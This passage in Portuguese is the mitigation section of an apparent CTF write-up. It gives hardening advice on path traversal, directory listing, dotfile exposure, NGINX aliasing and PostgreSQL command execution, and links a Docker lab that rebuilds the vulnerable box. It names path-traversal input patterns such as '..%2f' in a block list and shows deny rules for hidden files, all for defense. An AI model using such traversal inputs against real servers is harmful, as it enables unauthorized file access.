4. Melhores práticas e mitigações para os cenários encontrados no CTF

4.1. Mitigações para Path Traversal

  • Normalização e validação de caminhos no backend:

    • Sempre sanitizar a entrada do usuário antes de concatenar com qualquer caminho de arquivo.
    • Usar funções seguras de resolução de caminho e validar se o caminho final está dentro do diretório permitido.
  • Negação de acesso a caminhos relativos:

    • Rejeite explicitamente entradas que contenham .., %2e, %2f, ..%2f, etc.
  • Controle rigoroso no proxy reverso:

    • Usar diretivas como try_files no lugar de alias quando possível.
    • Utilize deny all; e internal; para bloquear acesso direto a arquivos internos.
  • Configuração segura de alias e proxy_pass:

    • Evitar expor diretórios inteiros via proxy_passsem validação de path.

4.2. Proteção contra Directory Listing

  • Desabilitar listagem de diretórios:

    • Sempre desabilitar o auindex no servidor web.
  • Controlar rigorosamente o conteúdo público:

    • Apenas arquivos estritamente necessários devem estar acessíveis.
    • Separar diretórios públicos de internos com permissões distintas.

4.3. Exposição de arquivos sensíveis

  • Bloquear acesso via web a arquivos sensíveis:
1location ~ /\.(?!well-known).* {
2    deny all;
3}
1<FilesMatch "^\.">
2    Require all denied
3</FilesMatch>
  • Mover arquivos de configuração para diretórios inacessíveis pela web:

    • Nunca mantenha arquivos como .env, nginx.conf ou .htpasswd dentro da pasta root/alias do servidor.
  • Revisar permissões de arquivo e diretório no servidor:

    • O usuário que executa o servidor web deve ter acesso somente ao que for estritamente necessário.

4.4. Fortalecer a autenticação e proteção de rotas

No cenário deste CTF, a autenticação estava em plain text e atenticação basic. Mas para cenários reais estas práticas são importantes.

  • Não manter arquivos de autenticação acessíveis publicamente.
  • Utilizar autenticação forte com rate-limiting:
    • Implemente limites por IP para tentativas de login.
    • Utilize autenticação multifator (MFA), se possível.
  • Se possível, utilizar frameworks que encapsulam a autenticação em vez de .htpasswd.

4.5. Melhorar a configuração do NGINX

  • Desabilitar configurações padrão não utilizadas.
  • Especificar diretivas de segurança adicionais.
  • Evitar uso de alias junto com proxy_pass sem checagem de path.
  • Revisar todas as regras do NGINX e aplicar negação explícita a arquivos críticos.

4.6. Mitigar execução de comandos via banco

  • Restringir permissões no banco de dados:
    • Desativar o uso de extensões como as usadas no CTF.
    • O usuário postgres não deve ser acessível via rede.
  • Rodar o PostgreSQL com menor privilégio possível:
    • O processo do banco não deve ter permissões de root nem pertencer ao grupo sudo.
  • Segmentar acesso à rede:
    • O acesso ao PostgreSQL deve estar acessível somente para IPs autorizados.
  • Auditar comandos executados e acessos ao banco.

4.7. Hardening geral do servidor

  • Desabilitar recursos não utilizados.
  • Utilizar containers com imagens mínimas e seguras.
  • Utilizar AppArmor, SELinux ou outros mecanismos de controle de acesso no SO.
  • Configurar logs de acesso e erros com alertas para comportamento suspeito.
  • Atualizações regulares do sistema e das dependências.

5. Simulação do cenário via Docker

Acesse o link: https://github.com/sandsoncosta/CTF---Security-Misconfiguration e clone o repositório. Execute o script com o sudo. O script automagicamente criará o compose e todos os containers para replicar o cenário do CTF.

A box foi realizada no site da Extreme Hacking, caso não queira simular localmente, basta acessar o site, se cadastrar e jogar.

6. Referências


domingo, 20 de julho de 2025 quinta-feira, 17 de julho de 2025